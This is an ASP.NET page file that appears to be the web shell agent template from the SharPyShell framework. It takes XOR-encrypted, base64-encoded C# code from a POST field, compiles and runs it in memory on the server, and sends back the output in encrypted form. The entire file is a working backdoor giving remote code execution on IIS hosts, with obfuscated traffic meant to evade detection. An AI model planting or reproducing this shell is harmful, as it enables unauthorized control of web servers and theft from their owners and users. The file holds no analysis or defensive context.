<%@ Import Namespace="System" %>

<%@ Import Namespace="System.Text" %>

<%@ Import Namespace="System.Reflection" %>

<%@ Import Namespace="Microsoft.CSharp" %>

<%@ Import Namespace="System.CodeDom.Compiler" %>

<script Language="c#" runat="server">

byte[] Xor_Enc_Dec(byte[] input, string password) {

byte[] key = Encoding.UTF8.GetBytes(password);

byte[] output = new byte[input.Length];

for(int i = 0; i < input.Length; i++) {

output[i] = (byte) (input[i] ^ key[i % key.Length]);

}

return output;

}

void Page_Load(object sender, EventArgs e)

{

string password = "{{SharPyShell_Placeholder_pwd}}";

if(Request.Form["data"]!=null){

byte[] decoded_request_byte=Convert.FromBase64String(Request.Form["data"]);

byte[] runtime_code_byte=Xor_Enc_Dec(decoded_request_byte, password);

string runtime_code=Encoding.UTF8.GetString(runtime_code_byte);

object runtime_exec_output = new object();

CompilerResults results = null;

try{

CSharpCodeProvider provider = new CSharpCodeProvider();

CompilerParameters compilerParams = new CompilerParameters();

compilerParams.GenerateInMemory = true;

compilerParams.GenerateExecutable = false;

compilerParams.ReferencedAssemblies.Add("System.dll");

results = provider.CompileAssemblyFromSource(compilerParams, runtime_code);

object o = results.CompiledAssembly.CreateInstance("SharPyShell");

MethodInfo mi = o.GetType().GetMethod("ExecRuntime");

runtime_exec_output = mi.Invoke(o, null);

}

catch(Exception exc){

string exc_out_str = exc.ToString()+"\n\n{{{SharPyShellError}}}";

for( int i=0; i<results.Errors.Count; i++ )

exc_out_str += i.ToString() + ": " + results.Errors[i].ToString();

runtime_exec_output=Encoding.UTF8.GetBytes(exc_out_str);

Response.Clear();

}

byte[] output_runtime_code_enc=Xor_Enc_Dec((byte[])(runtime_exec_output), password);

string output_runtime_code_enc_b64=Convert.ToBase64String(output_runtime_code_enc);

Response.Write(output_runtime_code_enc_b64);

}

}

</script>